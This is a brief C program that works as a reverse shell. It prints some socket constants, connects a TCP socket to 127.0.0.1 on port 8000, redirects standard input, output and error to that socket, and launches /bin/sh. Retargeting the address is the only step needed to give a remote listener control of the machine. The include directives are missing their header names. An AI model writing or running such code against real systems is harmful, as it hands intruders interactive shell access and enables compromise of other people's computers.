#include #include #include #include #include #include #include int main() { //printing helpful info: printf("AF_INET: %d\n", AF_INET); printf("SOCK_STREAM: %d\n", SOCK_STREAM); printf("sizeof(sockaddr_in): %ld\n", sizeof(struct sockaddr_in)); //create a socket int sockfd = socket(AF_INET, SOCK_STREAM, 0); //connect to 127.0.0.1 struct sockaddr_in server = {0}; server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr("127.0.0.1"); server.sin_port = htons(8000); connect(sockfd, (struct sockaddr *)&server, sizeof(server)); // set up redirections dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); // launch a shell char* file = "/bin/sh"; char* argv[2]; argv[0] = file; argv[1] = 0; char** env = 0; execve(file, argv, env); return 0; }